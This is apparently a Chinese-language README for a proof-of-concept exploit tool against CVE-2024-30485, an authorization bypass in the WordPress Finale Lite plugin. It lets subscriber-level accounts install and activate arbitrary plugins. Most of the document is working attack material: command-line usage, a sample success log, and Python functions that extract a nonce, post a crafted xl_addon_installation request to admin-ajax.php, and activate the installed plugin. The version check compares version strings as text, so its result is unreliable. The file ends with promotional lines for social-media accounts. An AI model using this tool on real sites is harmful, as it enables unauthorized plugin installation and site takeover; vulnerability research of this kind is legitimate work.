WordPress Finale Lite 插件高危漏洞检测与利用工具 (CVE-2024-30485)
项目描述
本项目提供了一个针对 WordPress Finale Lite 插件(版本号 <= 2.18.0)中高危授权绕过漏洞(CVE-2024-30485)的安全检测与概念验证工具。
该漏洞源于插件的xl_addon_installation AJAX接口缺少必要的权限检查,允许已登录的订阅者(Subscriber)级别及以上用户,在未获得管理员授权的情况下,远程安装并激活任意插件。此工具可用于安全研究人员快速验证目标系统的脆弱性,理解漏洞原理,并评估其潜在风险。
| 项目信息 | 详情 |
|---|---|
| 漏洞编号 | CVE-2024-30485 |
| 威胁等级 | 高危 (CVSS 8.8) |
| 影响版本 | Finale Lite <= 2.18.0 |
| 漏洞类型 | 授权绕过 (CWE-862) |
| 所需权限 | WordPress 订阅者 (Subscriber) 及以上 |
功能特性
- 身份验证:支持使用有效的WordPress用户凭证(用户名/密码)进行登录,获取操作权限。
- 安全令牌提取 :自动从目标页面的HTML/JavaScript中提取执行敏感操作所需的
nonce(一次性令牌)。 - 任意插件安装 :利用漏洞接口,向目标站点安装指定的插件(如
hello-dolly,akismet等)。 - 插件自动激活:在插件安装成功后,自动发起激活请求,使插件生效,最大化漏洞影响。
- 多种预置插件:脚本内置了多个常见插件的slug与入口文件映射,方便测试。
安装指南
系统要求
- Python 3.x
- 需要具备对目标WordPress站点的网络访问权限
依赖项安装
本项目依赖requests和beautifulsoup4库。您可以使用pip来安装所需依赖。
bash
# 推荐使用虚拟环境
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# .\venv\Scripts\activate # Windows
# 安装依赖
pip install requests beautifulsoup4
获取工具代码
将脚本保存为 CVE-2024-30485.py 即可使用。
使用说明
命令行参数
| 参数 | 简写 | 类型 | 是否必需 | 描述 |
|---|---|---|---|---|
--url |
-u |
字符串 | 是 | 目标WordPress站点的根URL |
--username |
-U |
字符串 | 是 | 用于登录的WordPress用户名 |
--password |
-P |
字符串 | 是 | 用于登录的WordPress密码 |
plugin |
(位置参数) | 字符串 | 否 | 要安装的插件slug。默认为hello-dolly |
基础使用示例
1. 检测漏洞并尝试安装默认插件 (hello-dolly):
bash
python3 CVE-2024-30485.py -u https://example.com -U subscriber_user -P strong_password
2. 检测漏洞并尝试安装指定插件 (例如: disable-comments):
bash
python3 CVE-2024-30485.py -u https://example.com -U subscriber_user -P strong_password disable-comments
3. 查看完整帮助信息:
bash
python3 CVE-2024-30485.py -h
典型工作流程
- 用户认证 :使用提供的凭证模拟登录WordPress,获取带有
wordpress_logged_inCookie的会话。 - 令牌获取 :访问插件管理页面
/wp-admin/admin.php?page=xl-payments,并从返回的HTML/JS中正则匹配提取nonce值。 - 利用漏洞 :构造包含
action=xl_addon_installation的POST请求,发送至/wp-admin/admin-ajax.php,利用提取到的nonce和指定的插件信息进行安装。 - 激活插件:安装成功后,再次发送激活请求,使插件生效。
输出示例
bash
[+] Target is vulnerable! Detected version: 2.18.0
[+] Logged in successfully.
[+] Extracted Nonce: 2b46e05bc0
[+] Plugin 'disable-comments' installed successfully!
[+] Plugin 'disable-comments' activated successfully!
核心代码
漏洞版本检测
python
def check_vulnerability(url):
response = requests.get(version_url, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
if response.status_code == 200:
match = re.search(r"Stable tag: ([0-9\.]+)", response.text)
if match:
version = match.group(1)
if version <= "2.18.0":
print(f"[+] Target is vulnerable! Detected version: {version}")
return True
print("[-] Target is not vulnerable or version check failed.")
return False
漏洞利用核心逻辑
此部分演示了如何利用缺失授权的xl_addon_installation AJAX接口进行任意插件安装。
python
def install_plugin(url, session, nonce, plugin_slug, plugin_file):
installed_plugins_url = f"{url}/wp-admin/plugins.php"
response = session.get(installed_plugins_url, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
if plugin_slug in response.text:
print(f"[+] Plugin '{plugin_slug}' is already installed. Skipping installation.")
else:
install_url = f"{url}/wp-admin/admin-ajax.php"
# 关键利用点:构造 xl_addon_installation 请求
install_data = {
"action": "xl_addon_installation", # 易受攻击的 action
"xl_slug": plugin_slug,
"xl_file": plugin_file,
"nonce": nonce
}
response = session.post(install_url, data=install_data, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
# 检查安装是否成功
if "Plugin installed successfully!" in response.text or "already installed" in response.text:
print(f"[+] Plugin '{plugin_slug}' installed successfully!")
return True
return False
安全令牌(Nonce)提取
脚本通过正则表达式从插件设置页面的响应内容中提取用于授权的nonce值。
python
def get_nonce(url, session):
settings_url = f"{url}/wp-admin/admin.php?page=xl-payments"
response = session.get(settings_url, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
# 从页面JavaScript或HTML中匹配 nonce 值
match = re.search(r'"nonce":"([a-f0-9]+)"', response.text)
if match:
print(f"[+] Extracted Nonce: {match.group(1)}")
return match.group(1)
print("[-] Failed to extract Nonce.")
return None
插件激活
在安装成功后,利用WordPress的标准激活流程和之前获取的nonce来激活插件,完成整个攻击链。
python
def activate_plugin(url, session, nonce, plugin_slug):
activate_url = f"{url}/wp-admin/admin-ajax.php"
activate_data = {
"action": "activate-plugin", # 标准的插件激活action
"plugin": f"{plugin_slug}/{plugin_slug}.php",
"_wpnonce": nonce # 复用之前提取的nonce
}
response = session.post(activate_url, data=activate_data, headers={"User-Agent": "Mozilla/5.0"}, verify=False)
if "Plugin activated" in response.text or "activated successfully" in response.text:
print(f"[+] Plugin '{plugin_slug}' activated successfully!")
else:
print("[-] Failed to activate plugin.")
6HFtX5dABrKlqXeO5PUv/xFe0Y10EdWNEZGHtzXMDCs=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)